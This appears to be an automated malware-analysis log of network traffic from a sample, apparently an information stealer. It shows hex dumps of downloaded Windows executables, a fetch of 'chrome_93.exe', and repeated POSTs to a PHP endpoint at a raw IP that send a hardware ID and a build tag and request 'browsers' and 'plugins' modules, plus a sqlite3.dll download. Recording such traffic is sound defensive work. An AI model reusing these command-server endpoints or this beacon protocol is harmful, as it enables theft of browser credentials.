Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 24 Oct 2024 11:27:07 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "94750-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 24 Oct 2024 11:27:08 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "6dde8-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 24 Oct 2024 11:27:08 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "1f3950-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 24 Oct 2024 11:27:10 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "3ef50-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 24 Oct 2024 11:27:10 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 10:49:08 GMTETag: "13bf0-5e7ebd4425100"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET /chrome_93.exe HTTP/1.1Host: sirault.beCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 109.107.157.208Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /49aaa1bd4c594849.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HJDHCFCBGIDGHJJKJJDGHost: 109.107.157.208Content-Length: 217Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 4a 44 48 43 46 43 42 47 49 44 47 48 4a 4a 4b 4a 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 36 36 45 46 41 41 38 34 37 45 37 33 30 39 39 33 30 35 32 31 35 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 48 43 46 43 42 47 49 44 47 48 4a 4a 4b 4a 4a 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 4c 6f 67 73 44 69 6c 6c 65 72 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 44 48 43 46 43 42 47 49 44 47 48 4a 4a 4b 4a 4a 44 47 2d 2d 0d 0a Data Ascii: ------HJDHCFCBGIDGHJJKJJDGContent-Disposition: form-data; name="hwid"E66EFAA847E73099305215------HJDHCFCBGIDGHJJKJJDGContent-Disposition: form-data; name="build"LogsDiller------HJDHCFCBGIDGHJJKJJDG--
Source: global traffic	HTTP traffic detected: POST /49aaa1bd4c594849.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AEBAFBGIDHCBFHIECFCBHost: 109.107.157.208Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 66 31 63 63 31 34 38 33 63 38 66 37 65 30 65 30 37 35 31 65 66 66 64 31 32 31 64 66 64 35 39 34 34 31 37 62 32 35 38 31 34 64 65 64 61 37 63 66 38 35 62 36 36 30 65 39 39 36 61 37 64 65 61 38 62 35 38 64 38 38 65 0d 0a 2d 2d 2d 2d 2d 2d 41 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 41 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 42 2d 2d 0d 0a Data Ascii: ------AEBAFBGIDHCBFHIECFCBContent-Disposition: form-data; name="token"bf1cc1483c8f7e0e0751effd121dfd594417b25814deda7cf85b660e996a7dea8b58d88e------AEBAFBGIDHCBFHIECFCBContent-Disposition: form-data; name="message"browsers------AEBAFBGIDHCBFHIECFCB--
Source: global traffic	HTTP traffic detected: POST /49aaa1bd4c594849.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKJEHJKJEBGHJJKEBGIEHost: 109.107.157.208Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 66 31 63 63 31 34 38 33 63 38 66 37 65 30 65 30 37 35 31 65 66 66 64 31 32 31 64 66 64 35 39 34 34 31 37 62 32 35 38 31 34 64 65 64 61 37 63 66 38 35 62 36 36 30 65 39 39 36 61 37 64 65 61 38 62 35 38 64 38 38 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 45 48 4a 4b 4a 45 42 47 48 4a 4a 4b 45 42 47 49 45 2d 2d 0d 0a Data Ascii: ------JKJEHJKJEBGHJJKEBGIEContent-Disposition: form-data; name="token"bf1cc1483c8f7e0e0751effd121dfd594417b25814deda7cf85b660e996a7dea8b58d88e------JKJEHJKJEBGHJJKEBGIEContent-Disposition: form-data; name="message"plugins------JKJEHJKJEBGHJJKEBGIE--
Source: global traffic	HTTP traffic detected: POST /49aaa1bd4c594849.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKKKEHJKFCFCBFHIIDGDHost: 109.107.157.208Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4b 4b 45 48 4a 4b 46 43 46 43 42 46 48 49 49 44 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 66 31 63 63 31 34 38 33 63 38 66 37 65 30 65 30 37 35 31 65 66 66 64 31 32 31 64 66 64 35 39 34 34 31 37 62 32 35 38 31 34 64 65 64 61 37 63 66 38 35 62 36 36 30 65 39 39 36 61 37 64 65 61 38 62 35 38 64 38 38 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4b 45 48 4a 4b 46 43 46 43 42 46 48 49 49 44 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 4b 45 48 4a 4b 46 43 46 43 42 46 48 49 49 44 47 44 2d 2d 0d 0a Data Ascii: ------KKKKEHJKFCFCBFHIIDGDContent-Disposition: form-data; name="token"bf1cc1483c8f7e0e0751effd121dfd594417b25814deda7cf85b660e996a7dea8b58d88e------KKKKEHJKFCFCBFHIIDGDContent-Disposition: form-data; name="message"fplugins------KKKKEHJKFCFCBFHIIDGD--
Source: global traffic	HTTP traffic detected: POST /49aaa1bd4c594849.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHIDHCBGDHJKEBGDGIJEHost: 109.107.157.208Content-Length: 6027Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /74bc575e584e922c/sqlite3.dll HTTP/1.1Host: 109.107.157.208Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /49aaa1bd4c594849.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAKKECFBGIIIEBGDGDAKHost: 109.107.157.208Content-Length: 4599Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /49aaa1bd4c594849.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBGDAAKJJDAAKFHJKJKFHost: 109.107.157.208Content-Length: 1451Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /49aaa1bd4c594849.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAEGIDHDHIDGIEBGIJEHHost: 109.107.157.208Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 45 47 49 44 48 44 48 49 44 47 49 45 42 47 49 4a 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 66 31 63 63 31 34 38 33 63 38 66 37 65 30 65 30 37 35 31 65 66 66 64 31 32 31 64 66 64 35 39 34 34 31 37 62 32 35 38 31 34 64 65 64 61 37 63 66 38 35 62 36 36 30 65 39 39 36 61 37 64 65 61 38 62 35 38 64 38 38 65 0d 0a 2d 2d 2d 2d 2d 2d 44 41 45 47 49 44 48 44 48 49 44 47 49 45 42 47 49 4a 45 